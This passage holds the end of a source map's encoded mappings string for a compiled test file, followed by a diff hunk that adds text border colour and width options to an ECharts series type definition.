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"}
@@ -237,6 +237,8 @@ export type EChartsSeries = {
237
237
  formatter?: (param: {
238
238
  data: Record<string, unknown>;
239
239
  }) => string;
240
+ textBorderColor?: string;
241
+ textBorderWidth?: number;
240
242
  };
241
243
  labelLayout?: {
242
244
  hideOverlap?: boolean;